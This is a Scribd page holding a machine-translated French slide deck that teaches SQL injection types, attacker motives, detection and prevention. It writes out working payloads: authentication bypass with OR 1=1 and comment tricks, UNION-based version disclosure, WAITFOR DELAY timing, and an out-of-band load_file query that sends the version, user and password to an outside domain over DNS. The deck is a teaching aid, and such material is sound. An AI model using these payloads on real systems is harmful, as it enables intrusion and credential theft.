0% ont trouvé ce document utile (0 vote)
9 vues26 pages

Comprendre l'injection SQL

L'injection SQL (SQLi) est une vulnérabilité de sécurité Web permettant à un attaquant d'interférer avec les requêtes d'une application sur sa base de données, en injectant du code SQL malveillant. Il existe plusieurs types d'injection SQL, notamment intra-bande, inférentielle et hors bande, chacune ayant ses propres techniques et objectifs. Les attaquants utilisent l'injection SQL pour accéder à des données sensibles, contourner l'authentification, ou mener des tests de sécurité, et il est crucial de mettre en place des mesures préventives pour protéger les applications.

Transféré par

raphael.s38500
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
9 vues26 pages

Comprendre l'injection SQL

L'injection SQL (SQLi) est une vulnérabilité de sécurité Web permettant à un attaquant d'interférer avec les requêtes d'une application sur sa base de données, en injectant du code SQL malveillant. Il existe plusieurs types d'injection SQL, notamment intra-bande, inférentielle et hors bande, chacune ayant ses propres techniques et objectifs. Les attaquants utilisent l'injection SQL pour accéder à des données sensibles, contourner l'authentification, ou mener des tests de sécurité, et il est crucial de mettre en place des mesures préventives pour protéger les applications.

Transféré par

raphael.s38500
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Machine Translated by Google

INJECTION SQL

PAR : AJOY SARKAR


Machine Translated by Google

QU'EST­CE QUE L'INJECTION SQL

L'injection SQL (SQLi) est une vulnérabilité de sécurité Web qui


permet à un attaquant d'interférer avec les requêtes qu'une
application effectue sur sa base de données.

SQL Injection (SQLi) est un type de cyberattaque qui injecte


code SQL malveillant dans une application.

En injectant ces codes SQL malveillants, l'attaquant peut voir


et modifier la base de données.
Machine Translated by Google

TYPES D'INJECTION SQL

Il existe généralement trois types d'injection SQL :

Injection SQL intra­bande.

Injection SQL inférentielle.

Injection SQL hors bande.


Machine Translated by Google

TYPES D'INJECTION SQL


Machine Translated by Google

TYPES D'INJECTION SQL

Injection SQL intra­bande : il s'agit du type d'injection SQL le plus couramment


utilisé. Dans cette méthode, l'attaquant utilise le même canal de communication
pour l'attaque afin de collecter les résultats.

Dans cette méthode pour modifier la requête d'origine et recevoir les résultats directs de la requête
modifiée. Supposons par exemple que la requête soit destinée à renvoyer les données personnelles
de l'utilisateur actuel et à les afficher à l'écran.

Requête par défaut : SELECT * FROM users WHERE user_id LIKE 'current_user'
Requête modifiée : SELECT * FROM users WHERE user_id LIKE '%'­­current_user''

L'injection SQL intra­bande est divisée en deux parties : l'injection SQL basée sur les erreurs,
l'injection SQL basée sur l'Union.
Machine Translated by Google

INJECTION SQL IN­BANDE


Injection SQL basée sur les erreurs : l'injection SQL basée sur les erreurs est
un sous­type d'injection SQL intra­bande où le résultat renvoyé à l'attaquant est
une chaîne d'erreur de base de données.

Requête par défaut : SELECT * FROM utilisateurs WHERE user_id = 'current_user'


Requête modifiée : SELECT * FROM users WHERE user_id = '1'' (Le guillemet simple doublé au
la fin de la requête provoque le signalement d'une erreur par la base de données)

En conséquence : Vous avez une erreur dans votre syntaxe SQL ; consultez le manuel qui correspond à la version de votre
"'
serveur MySQL pour connaître la bonne syntaxe à utiliser près de Attention : à la ligne 1
mysql_fetch_array() s'attend à ce que le paramètre 1 soit une ressource, un booléen
donné dans /hj/var/www/[Link] à la ligne 37

En conséquence, l'attaquant voit immédiatement que l'application utilise une base de


données MySQL et peut se concentrer sur des attaques spécifiques à MySQL.
Machine Translated by Google

INJECTION SQL IN­BANDE


Injection SQL basée sur l'union : l' injection SQL basée sur l'union est un sous­type
d'injection SQL intra­bande où l'attaquant utilise la clause UNION SQL pour recevoir un
résultat qui combine des informations légitimes avec des données sensibles.

Requête par défaut : SELECT * FROM utilisateurs WHERE user_id = 'current_user'


Requête modifiée : SELECT * FROM utilisateurs WHERE user_id = '­1' UNION
SELECTversion(),current_user()­­' (Les fonctions version et current_user dans MySQL renvoient la version de
la base de données et le nom de l'utilisateur actuel du système d'exploitation)

En conséquence : 5.1.73­0ubuntu0.10.04.1
mysql@localhost

l'application utilise une base de données MySQL 5.1.73 sur le système d'exploitation
système Ubuntu 10.04.1, la base de données est accessible à l'aide du compte
utilisateur du système d'exploitation « mysql ».
Machine Translated by Google

TYPES D'INJECTION SQL


Injection SQL inférentielle : Elle est également appelée injection SQL aveugle. Dans cette méthode,
l'attaquant peut en apprendre davantage sur la structure du serveur en envoyant des charges utiles de
données et en observant la réponse.

L'injection SQL aveugle est presque identique à l'injection SQL normale, la seule
différence étant la manière dont les données sont récupérées de la base de
données. Lorsque la base de données ne génère pas de données sur la page
Web, un attaquant est obligé de voler des données en posant à la base de
données une série de questions vraies ou fausses.

L'injection SQL intra­bande est divisée en deux parties : Booléenne­


Injection basée sur le temps, injection basée sur le temps.
Machine Translated by Google

INJECTION SQL INFÉRENTIELLE

Injection SQL booléenne : l' injection SQL aveugle basée sur booléenne est un sous­type d'injection SQL
aveugle dans laquelle l'attaquant observe le comportement du serveur de base de données et de l'application
après avoir combiné des requêtes légitimes avec des données malveillantes à l'aide d'opérateurs booléens.

Requête par défaut : SELECT * FROM products WHERE id = product_id


(Si cette requête est exécutée dans l'application en utilisant une simple concaténation de chaînes, la requête devient
respectivement)

Requête modifiée : SELECT * FROM products WHERE id = 42 et 1=1


SELECT * FROM produits WHERE id = 42 et 1=0

Si l'application se comporte différemment dans chaque cas, elle est susceptible de


Injections SQL aveugles basées sur des booléens.
Machine Translated by Google

INJECTION SQL INFÉRENTIELLE

Injection SQL basée sur le temps : L' injection SQL aveugle basée sur le temps est un sous­type
d'injection SQL aveugle dans laquelle l'attaquant observe le comportement du serveur de base
de données et de l'application après avoir combiné des requêtes légitimes avec des commandes
SQL qui entraînent des retards.

Requête par défaut : SELECT * FROM products WHERE id = product_id

Requête modifiée : SELECT * FROM products WHERE id = 1; RETARD D'ATTENTE '0:0:10'


(Un pirate informatique malveillant peut fournir la valeur product_id suivante : 42 ; WAITFOR DELAY '0:0:10')

Si le serveur de base de données est Microsoft SQL Server et que l'application est
sensible aux injections SQL aveugles basées sur le temps, l'attaquant verra un message 10­
deuxième retard dans la demande.
Machine Translated by Google

TYPES D'INJECTION SQL


Injection SQL hors bande : C'est le type d'injection SQL le moins couramment utilisé, dans cette
méthode l'attaquant utilise les différents canaux de communication de l'attaque pour collecter les
résultats.

Les attaquants utilisent ces méthodes si un serveur est trop lent ou instable pour être utilisé
Injection inférentielle ou injection intra­bande.

L'injection SQL hors bande n'est possible que si le serveur que vous utilisez
using contient des commandes qui déclenchent des requêtes DNS ou HTTP.

Requête modifiée : SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',


(SELECT+utilisateur),'.', (SELECT+mot de passe),'.',[Link]\\[Link]'))

Cela amènera l'application à envoyer une requête DNS au domaine,


Machine Translated by Google

POURQUOI L'INJECTION SQL


raisons pour lesquelles les pirates utilisent l'injection SQL :

Accès non autorisé : en injectant des instructions SQL malveillantes, les attaquants peuvent obtenir un
accès non autorisé à une base de données ou une application. Cela leur permet d'afficher, de modifier ou
de supprimer des données.

Vol de données : l'injection SQL peut être utilisée pour extraire des informations sensibles d'une base de
données, telles que des noms d'utilisateur, des mots de passe, des numéros de carte de crédit ou d'autres
informations personnelles.

Manipulation des données : les pirates peuvent injecter des instructions SQL pour manipuler les données
dans la base de données. Cela implique de modifier les enregistrements, de modifier les soldes des
comptes ou de modifier les données stockées dans la base de données.
Machine Translated by Google

POURQUOI L'INJECTION SQL


raisons pour lesquelles les pirates utilisent l'injection SQL :

Contournement de l'authentification : l'injection SQL peut être utilisée pour contourner les mécanismes
d'authentification en incitant l'application à accepter des informations d'identification non autorisées.

Déni de service (DoS) : les attaques par injection SQL peuvent être utilisées pour perturber le
fonctionnement normal d'une base de données ou d'une application en provoquant son ralentissement
ou son crash.

Tests de sécurité : dans certains cas, des pirates informatiques éthiques ou des professionnels de la
sécurité utilisent l'injection SQL comme méthode pour identifier et corriger les vulnérabilités d'un système.
Cela fait partie des tests d’intrusion visant à renforcer la sécurité d’une application.
Machine Translated by Google

COMMENT L'INJECTION SQL


Comment trouver les vulnérabilités pour l'injection SQL :

Champs de saisie : les pirates se concentrent sur les champs de saisie des formulaires Web, tels que
les formulaires de connexion, les champs de recherche et les formulaires d'inscription des utilisateurs.
Ils tentent d'injecter du code SQL dans ces champs pour voir si l'application est vulnérable.

Tests basés sur les erreurs : les attaquants fournissent intentionnellement des entrées qui déclenchent
des erreurs SQL. Les messages d'erreur générés par la base de données peuvent révéler des
informations sur la structure sous­jacente de la base de données.

Tests aveugles basés sur le temps : les attaquants injectent des instructions SQL qui provoquent des
retards (par exemple, en utilisant la fonction « SLEEP »). Ils analysent le temps de réponse de
l'application pour déterminer si l'injection a réussi.
Machine Translated by Google

COMMENT L'INJECTION SQL


Comment trouver les vulnérabilités pour l'injection SQL :

Tests booléens : les attaquants utilisent des conditions booléennes pour déduire si une
condition particulière est vraie ou fausse. En observant la réponse de l'application, ils
peuvent déduire des informations sur la structure de la base de données.

Requête par défaut :


SELECT * FROM user WHERE username= 'admin' AND password = 'pass123' ;

Requête avec payload :


SELECT * FROM utilisateur WHERE nom d'utilisateur = ' ' OU 1=1 ­­' ET mot de passe = 'admin' ;

Outils utilisés pour l'injection SQL : SQL map, Invicti, Burp Scanner etc.
Machine Translated by Google

EMPÊCHER LES INJECTIONS SQL


Comment empêcher l'injection SQL :

Il n'existe pas de technique spécifique de prévention SQLi, elle sera différente


en fonction du serveur Web, de la langue, des versions, etc.

Utilisation de préparé Utilisation correcte


Déclarations Construit
(Requêtes paramétrées) Procédures stockées

FORTEMENT
Liste verte DÉCOURAGÉ

Validation des entrées (Accepter tous les utilisateurs


Entrée fournie)
Machine Translated by Google

EMPÊCHER LES INJECTIONS SQL

Dans cette présentation, nous avons expliqué ce qu'est l'injection SQL avec
tous les différents types de techniques d'injection SQL. Nous avons également
abordé certaines requêtes SQL et leur fonctionnement. Nous apprenons
également pourquoi les cyber­attaquants utilisent l'injection SQL et quelles
mesures devons­nous prendre pour l'empêcher.
Machine Translated by Google

MERCI
Machine Translated by Google

SELECT * FROM utilisateur OÙ nom d'utilisateur = 'admin' ET mot de passe = 'password123'


Machine Translated by Google

SELECT * FROM utilisateur OÙ nom d'utilisateur = 'admin' ET mot de passe = 'password123'

' ' ' '


Requête : nom d'utilisateur = ET mot de passe =
Machine Translated by Google

SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin' 'ET mot de passe = 'password123'
Machine Translated by Google

SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin' 'ET mot de passe = 'password123'
'
'' erreur de chaîne

Erreur de syntaxe qui signifie qu'il est vulnérable au SQLi


Machine Translated by Google

Maintenant, utilisez une charge utile

SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin' OU '1'='1'AND mot de passe ='password123'

Il traitera d'abord le ET puis le OU


Machine Translated by Google
Machine Translated by Google

SELECT * FROM utilisateur WHERE nom d'utilisateur = 'admin'­­'AND mot de passe = 'password123''

Payload : '­­ qui fait office de commentaire, supprime le besoin de mot de passe
Machine Translated by Google

Vous aimerez peut-être aussi